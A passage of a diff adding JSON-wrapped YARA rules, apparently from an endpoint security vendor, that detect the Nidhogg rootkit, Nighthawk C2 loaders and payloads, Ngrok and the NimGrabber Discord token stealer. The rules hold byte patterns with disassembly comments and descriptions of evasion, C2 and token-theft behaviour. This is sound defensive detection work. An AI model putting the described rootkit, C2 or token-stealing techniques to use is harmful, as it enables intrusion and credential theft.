+  ],
+  "rule_classifications": [
+    "Windows.Tool.Ngrok"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1567",
+    "attack.t1090",
+    "attack.t1572",
+    "attack.t1102",
+    "attack.t1568.002"
+  ],
+  "rule_score": 50,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nidhogg_driver_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578097Z",
+  "creation_date": "2026-03-23T11:46:25.578099Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578105Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Idov31/Nidhogg"
+  ],
+  "name": "nidhogg_driver.yar",
+  "content": "rule nidhogg_driver {\n    meta:\n        title = \"NidHogg Windows Driver\"\n        id = \"2f1ad6b5-60fc-4ad4-b3a5-637c2f2775d2\"\n        description = \"Detects the Nidhogg rootkit driver.\\nThe Nidhogg rootkit driver is designed to hide, protect, and elevate processes and files. It performs malicious registry operations and employs defense evasion techniques such as AMSI bypass and ETW patching.\"\n        references = \"https://github.com/Idov31/Nidhogg\"\n        date = \"2022-10-27\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1014\"\n        classification = \"Windows.Rootkit.Nidhogg\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 2c3ca9d0baf3b3b9d41ee59b107b55ea8c8f85f850b8f695cead21ba50b786d5\n\n        $s1 = \"\\\\Device\\\\Nidhogg\" fullword wide\n        $s2 = \"31122.6172\" fullword wide\n        $s3 = \"31105.6171\" fullword wide\n\n        // Windows version comparison\n        $op1 = {\n            81 ?? ?? ?? AB 3F 00 00  // cmp     [rsp+178h+var_158], 3FABh\n            77 ??                    // ja      short loc_140002CAD\n            81 ?? ?? ?? AB 3F 00 00  // cmp     [rsp+178h+var_158], 3FABh\n            74 ??                    // jz      short loc_140002CE2\n            81 ?? ?? ?? 00 28 00 00  // cmp     [rsp+178h+var_158], 2800h\n            74 ??                    // jz      short loc_140002CE2\n            81 ?? ?? ?? 5A 29 00 00  // cmp     [rsp+178h+var_158], 295Ah\n            74 ??                    // jz      short loc_140002CE2\n            81 ?? ?? ?? 39 38 00 00  // cmp     [rsp+178h+var_158], 3839h\n            74 ??                    // jz      short loc_140002CE2\n            81 ?? ?? ?? D7 3A 00 00  // cmp     [rsp+178h+var_158], 3AD7h\n        }\n\n        // Windows version comparison variant\n        $op2 = {\n            2D 00 28 00 00           // sub     eax, 2800h\n            74 ??                    // jz      short loc_140001E0E\n            2D 5A 01 00 00           // sub     eax, 15Ah\n            74 ??                    // jz      short loc_140001E0E\n            2D DF 0E 00 00           // sub     eax, 0EDFh\n            74 ??                    // jz      short loc_140001E0E\n            2D 9E 02 00 00           // sub     eax, 29Eh\n            74 ??                    // jz      short loc_140001E0E\n            2D D4 04 00 00           // sub     eax, 4D4h\n            74 ??                    // jz      short loc_140001E0E\n            2D 43 03 00 00           // sub     eax, 343h\n            74 ??                    // jz      short loc_140001E0E\n            2D 75 02 00 00           // sub     eax, 275h\n            74 ??                    // jz      short loc_140001E0E\n            2D 57 02 00 00           // sub     eax, 257h\n            74 ??                    // jz      short loc_140001E07\n        }\n\n        // Dynamic function address finder\n        $op3 = {\n            B9 F0 00 00 00           // mov     ecx, 0F0h ; 'ð'\n            F3 A4                    // rep movsb\n            B8 08 00 00 00           // mov     eax, 8\n            48 6B C0 00              // imul    rax, 0\n            83 ?? ?? ?? 00 00 00 00  // cmp     [rsp+rax+178h+var_A8], 0\n            75 ??                    // jnz     short loc_1400027B0\n            48 8D 0D ?? ?? ?? ??     // lea     rcx, aNidhoggThereAr ; \"Nidhogg: There are no exports.\\n\"\n            E8 ?? ?? ?? ??           // call    DbgPrint_0\n            48 ?? ?? ?? ??           // mov     rax, [rsp+178h+var_150]\n            E9 ?? ?? ?? ??           // jmp     loc_1400028AB\n            B8 08 00 00 00           // mov     eax, 8\n            48 6B C0 00              // imul    rax, 0\n        }\n\n        // Dynamic function address finder variant\n        $op4 = {\n            48 81 EC 10 01 00 00     // sub     rsp, 110h\n            33 FF                    // xor     edi, edi\n            B8 4D 5A 00 00           // mov     eax, 5A4Dh\n            48 8B D9                 // mov     rbx, rcx\n            66 39 01                 // cmp     [rcx], ax\n            0F 85 ?? ?? ?? ??        // jnz     loc_140001BFE\n            48 63 41 3C              // movsxd  rax, dword ptr [rcx+3Ch]\n            48 03 C1                 // add     rax, rcx\n            81 38 50 45 00 00        // cmp     dword ptr [rax], 4550h\n            0F 85 ?? ?? ?? ??        // jnz     loc_140001BFE\n            0F 10 48 28              // movups  xmm1, xmmword ptr [rax+28h]\n            48 83 C0 18              // add     rax, 18h\n            48 ?? ?? ?? ??           // lea     rcx, [rsp+138h+var_118]\n            41 B8 80 00 00 00        // mov     r8d, 80h ; '€'\n        }\n    condition:\n        uint16(0) == 0x5a4d and filesize < 1MB and 2 of ($s*) and 1 of ($op*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nidhogg_driver"
+  ],
+  "rule_creation_date": "2022-10-27",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Rootkit.Nidhogg"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1014"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nighthawk_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581403Z",
+  "creation_date": "2026-03-23T11:46:25.581407Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581416Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice"
+  ],
+  "name": "nighthawk_loader.yar",
+  "content": "import \"pe\"\n\nrule nighthawk_loader {\n    meta:\n        title = \"Nighthawk C2 Loader\"\n        id = \"43664410-0082-4f97-b016-fbf106b01c7c\"\n        description = \"Detects the Nighthawk Loader.\\nNighthawk is an advanced C2 (Command and Control) framework designed for Red Team operations. It is known for its sophisticated capabilities, including extensive defense evasion techniques and the ability to establish persistent communication channels.\\nThe loader is responsible for initializing the C2 client and establishing a connection with the server, often using HTTP or WebSocket protocols for communication. It is commonly used in Red Team exercises to execute malicious payloads and exfiltrate data.\\nIt is recommended to isolate the affected endpoint and perform a detailed network investigation to identify potential C2 infrastructure.\"\n        references = \"https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice\"\n        date = \"2022-11-24\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001;attack.t1573.001;attack.defense_evasion;attack.t1562.001;attack.t1140;attack.t1027.002;attack.t1027.009\"\n        classification = \"Windows.Framework.Nighthawk\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // b775a8f7629966592cc7727e2081924a7d7cf83edd7447aa60627a2b67d87c94\n\n        $loader_find_main = {\n            48 8D 0D ?? ?? ?? ??                          // lea     rcx, start\n            51                                            // push    rcx\n            5A                                            // pop     rdx\n            48 81 C1 ?? ?? ?? ??                          // add     rcx, 4E20h\n            48 81 C2 ?? ?? ?? ??                          // add     rdx, 2764h\n            FF E2                                         // jmp     rdx\n        }\n\n    condition:\n        // This sample contains a packed .text section and .uxgbxcl is not a known section name.\n        // Since there is no sign of encryption in this sample, this might indicate that Nighthawk\n        // may assign a random section name. More investigaton is required but we're limited in samples.\n        uint16(0) == 0x5a4d and ($loader_find_main and pe.section_index(\".uxgbxcl\"))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nighthawk_loader"
+  ],
+  "rule_creation_date": "2022-11-24",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Nighthawk"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1071.001",
+    "attack.t1562.001",
+    "attack.t1027.009",
+    "attack.t1573.001",
+    "attack.t1027.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nighthawk_payload_obfs_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581358Z",
+  "creation_date": "2026-03-23T11:46:25.581361Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581370Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice"
+  ],
+  "name": "nighthawk_payload_obfs.yar",
+  "content": "import \"pe\"\n\nrule nighthawk_payload_obfs {\n    meta:\n        title = \"Obfuscated Nighthawk C2 Payload\"\n        id = \"a607161c-9934-42e9-934d-a6b057451bb9\"\n        description = \"Detects obfuscated Nighthawk C2 payloads.\\nNighthawk is an advanced C2 framework commonly used in Red Team operations. It employs various obfuscation techniques to establish command and control communication while avoiding detection. This rule identifies characteristics of its obfuscated payloads, such as specific API calls and junk code commonly found in its samples.\"\n        references = \"https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice\"\n        date = \"2022-11-28\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001;attack.t1573.001;attack.defense_evasion;attack.t1562.001;attack.t1140;attack.t1027.002;attack.t1027.009\"\n        classification = \"Windows.Framework.Nighthawk\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // ea7a1363c5f304c206bc8450ed1d4b14d76eb492a1011b8f2c1d2f218de8c770\n\n        $nop_function = {\n            48 89 44 ?? ??                // mov     [rsp+38h+hHandle], rax\n            48 8B 4C ?? ??                // mov     rcx, [rsp+38h+hHandle] ; hHandle\n            BA FF FF FF FF                // mov     edx, 0FFFFFFFFh ; dwMilliseconds\n            FF ?? ?? ?? ?? ??             // call    cs:__imp_WaitForSingleObject\n            31 D2                         // xor     edx, edx\n            89 44 ?? ??                   // mov     [rsp+38h+var_C], eax\n            89 D0                         // mov     eax, edx\n            48 83 C4 38                   // add     rsp, 38h\n        }\n\n        $junk_code_1 = {\n            41 80 CF 00                   // or      r15b, 0\n        }\n\n        $junk_code_2 = {\n            83 C0 00                      // add     eax, 0\n        }\n\n    condition:\n        uint16(0) == 0x5a4d and (\n            all of ($junk_code_*)\n            and $nop_function\n            and pe.exports(\"nop\")\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nighthawk_payload_obfs"
+  ],
+  "rule_creation_date": "2022-11-28",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Nighthawk"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1071.001",
+    "attack.t1562.001",
+    "attack.t1027.009",
+    "attack.t1573.001",
+    "attack.t1027.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nighthawk_payload_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581328Z",
+  "creation_date": "2026-03-23T11:46:25.581330Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581336Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice\nhttps://github.com/JLeow00/malwarebytes-crackme-3"
+  ],
+  "name": "nighthawk_payload.yar",
+  "content": "import \"pe\"\n\nrule nighthawk_payload {\n    meta:\n        title = \"Nighthawk C2 Payload\"\n        id = \"35dfe321-5583-4b0d-b40c-d1340dec3adf\"\n        description = \"Detects the Nighthawk C2 Payload.\\nNighthawk is an advanced C2 framework commonly used in red teaming operations. It features robust defense evasion techniques and is detected through its specific section structure and use of the Detours library for hooking. The detection focuses on the presence of the .detourc and .profile sections, which are indicative of Nighthawk's unique configuration and execution mechanisms.\"\n        references = \"https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice\\nhttps://github.com/JLeow00/malwarebytes-crackme-3\"\n        date = \"2022-11-28\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001;attack.t1573.001;attack.defense_evasion;attack.t1562.001;attack.t1140;attack.t1027.002;attack.t1027.009\"\n        classification = \"Windows.Framework.Nighthawk\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 9a57919cc5c194e28acd62719487c563a8f0ef1205b65adbe535386e34e418b8\n        // 0551ca07f05c2a8278229c1dc651a2b1273a39914857231b075733753cb2b988\n\n        $hash_func = {\n            66 D1 E9                                      // shr     cx, 1\n            66 C1 E0 05                                   // shl     ax, 5\n            66 33 D0                                      // xor     dx, ax\n            66 C1 E2 0A                                   // shl     dx, 0Ah\n            66 0B D1                                      // or      dx, cx\n            0F B7 D2                                      // movzx   edx, dx\n            8B CA                                         // mov     ecx, edx\n            0F B7 C2                                      // movzx   eax, dx\n            C1 E9 02                                      // shr     ecx, 2\n            33 CA                                         // xor     ecx, edx\n        }\n\n    condition:\n        // The .profile section contains a configuration profile for the C2\n        // that may or may not be prepended with an AES 128bit key.\n\n        // The .detourc and .detourd sections are indicative of a Microsoft\n        // library called Detours, used in this case for inline hooking.\n\n        // This is used to create proxy functions for execution and obfuscation.\n        // This technique has been seen in a CrackMe from a MalwareBytes CTF in 2021. See references for details.\n        uint16(0) == 0x5a4d and (\n            $hash_func\n            and pe.section_index(\".detourc\")\n            and pe.section_index(\".profile\")\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nighthawk_payload"
+  ],
+  "rule_creation_date": "2022-11-28",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Nighthawk"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1071.001",
+    "attack.t1562.001",
+    "attack.t1027.009",
+    "attack.t1573.001",
+    "attack.t1027.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nighthawk_pe_embed_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581299Z",
+  "creation_date": "2026-03-23T11:46:25.581301Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581307Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice"
+  ],
+  "name": "nighthawk_pe_embed.yar",
+  "content": "import \"pe\"\n\nrule nighthawk_pe_embed {\n    meta:\n        title = \"Nighthawk C2 Embedded PE Payload\"\n        id = \"fb08cda4-c5a2-4de8-9880-98036f738148\"\n        description = \"Detects the Nighthawk C2 embedded PE payload within a host file.\\nThe Nighthawk C2 framework uses embedded segments such as .profile and .detourc to store its configuration and Detours inline hooking structures. This pattern is often used to establish communication between the C2 server and the compromised system. The detection also looks for VirtualAlloc function calls which are commonly used by shellcode to allocate memory for execution.\"\n        references = \"https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice\"\n        date = \"2022-11-28\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001;attack.t1573.001;attack.defense_evasion;attack.t1562.001;attack.t1140;attack.t1027.002;attack.t1027.009\"\n        classification = \"Windows.Framework.Nighthawk\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // f3bba2bfd4ed48b5426e36eba3b7613973226983a784d24d7a20fcf9df0de74e\n\n        // Segment names of the embedded binary indicating the C2 profile and Detours inline hooking.\n        $embedded_segment_1 = \".profile\" ascii\n        $embedded_segment_2 = \".detourc\" ascii\n\n        $virtual_alloc = {\n            C7 45 ?? 00 00 00 00          // mov     [rbp+flOldProtect], 0\n            48 C7 ?? ?? 00 00 00 00       // mov     [rbp+var_8], 0\n            8B 05 ?? ?? ?? ??             // mov     eax, cs:shellcode_len\n            89 C0                         // mov     eax, eax\n            41 B9 04 00 00 00             // mov     r9d, 4          ; flProtect\n            41 B8 00 30 00 00             // mov     r8d, 3000h      ; flAllocationType\n            48 89 C2                      // mov     rdx, rax        ; dwSize\n            B9 00 00 00 00                // mov     ecx, 0          ; lpAddress\n            48 8B 05 ?? ?? ?? ??          // mov     rax, cs:__imp_VirtualAlloc\n            FF D0                         // call    rax ; __imp_VirtualAlloc\n        }\n\n        $pe_header = { 4D 5A 90 00 03 00 00 00 }\n\n    condition:\n        uint16(0) == 0x5a4d and (\n            #pe_header > 1\n            and $virtual_alloc\n            and all of ($embedded_segment_*)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nighthawk_pe_embed"
+  ],
+  "rule_creation_date": "2022-11-28",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Nighthawk"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140",
+    "attack.t1071.001",
+    "attack.t1562.001",
+    "attack.t1027.009",
+    "attack.t1573.001",
+    "attack.t1027.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nimgrabber_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568007Z",
+  "creation_date": "2026-03-23T11:46:25.568009Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568015Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/NullCode1337/NimGrabber/\nhttps://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-part-2-a28bffffa671"
+  ],
+  "name": "nimgrabber.yar",
+  "content": "rule nimgrabber {\n    meta:\n        title = \"NimGrabber HackTool\"\n        id = \"a5f9d6a4-87ac-40bd-9d77-b66569aa0216\"\n        description = \"Detects NimGrabber, a Discord token grabber written in Nim.\\nNimGrabber is designed to steal Discord tokens stored in web browsers such as Microsoft Edge or Chrome.\\nThe tool operates by hooking into the browser's process to extract authentication tokens and can send them to Discord's API for unauthorized access.\\nIt is recommended to analyze actions around the usage of this tool to look for other malicious actions on the host.\"\n        references = \"https://github.com/NullCode1337/NimGrabber/\\nhttps://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-part-2-a28bffffa671\"\n        date = \"2024-03-25\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.collection;attack.t1005;attack.exfiltration;attack.t1567\"\n        classification = \"Windows.HackTool.NimGrabber\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 8ec44187e50c15a7c4c89af4a1e99c63c855539101ec1ef4588d2e12e05f7d2b\n        // bc74f22b5407ac67b8d7dcb05262bee0dc9581620448c2b6514ed519ab7f6bd2\n\n        $s1 = \"fatal.nim\" ascii fullword\n\n        $s2 = \"@POST\" ascii fullword\n        $s3 = \"@content\" ascii fullword\n        $s4 = \"@No tokens found!\" ascii fullword\n        $s5 = \"@username\" ascii fullword\n        $s6 = \"@localappdata\" ascii fullword\n        $s7= \"@https://discord.com/api/\" ascii\n\n        // **__Tokens grabbed by NimGrabber__**\n        $nimgrabber1 = {\n            C7 40 04 2A 2A 5F 5F                          // mov     dword ptr [eax+4], 5F5F2A2Ah\n            C7 40 08 54 6F 6B 65                          // mov     dword ptr [eax+8], 656B6F54h\n            C7 40 0C 6E 73 20 67                          // mov     dword ptr [eax+0Ch], 6720736Eh\n            C7 40 10 72 61 62 62                          // mov     dword ptr [eax+10h], 62626172h\n            C7 40 14 65 64 20 62                          // mov     dword ptr [eax+14h], 62206465h\n            C7 40 18 79 20 4E 69                          // mov     dword ptr [eax+18h], 694E2079h\n            C7 40 1C 6D 47 72 61                          // mov     dword ptr [eax+1Ch], 6172476Dh\n            C7 40 20 62 62 65 72                          // mov     dword ptr [eax+20h], 72656262h\n            C7 40 24 5F 5F 2A 2A                          // mov     dword ptr [eax+24h], 2A2A5F5Fh\n        }\n\n        $nimgrabber2 = {\n            C7 00 3E 0A 2A 2A                             // mov     dword ptr [eax], 2A2A0A3Eh\n            C7 40 04 5F 5F 54 6F                          // mov     dword ptr [eax+4], 6F545F5Fh\n            C7 40 08 6B 65 6E 73                          // mov     dword ptr [eax+8], 736E656Bh\n            C7 40 0C 20 67 72 61                          // mov     dword ptr [eax+0Ch], 61726720h\n            C7 40 10 62 62 65 64                          // mov     dword ptr [eax+10h], 64656262h\n            C7 40 14 20 62 79 20                          // mov     dword ptr [eax+14h], 20796220h\n            C7 40 18 4E 69 6D 47                          // mov     dword ptr [eax+18h], 476D694Eh\n            C7 40 1C 72 61 62 62                          // mov     dword ptr [eax+1Ch], 62626172h\n            C7 40 20 65 72 5F 5F                          // mov     dword ptr [eax+20h], 5F5F7265h\n            C7 40 24 2A 2A 3A 20                          // mov     dword ptr [eax+24h], 203A2A2Ah\n        }\n\n    condition:\n        (all of ($s*)) or\n        ($s1 and 1 of ($nimgrabber*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nimgrabber"
+  ],
+  "rule_creation_date": "2024-03-25",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.NimGrabber"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1567",
+    "attack.t1005"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nim_injectedthread_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585576Z",
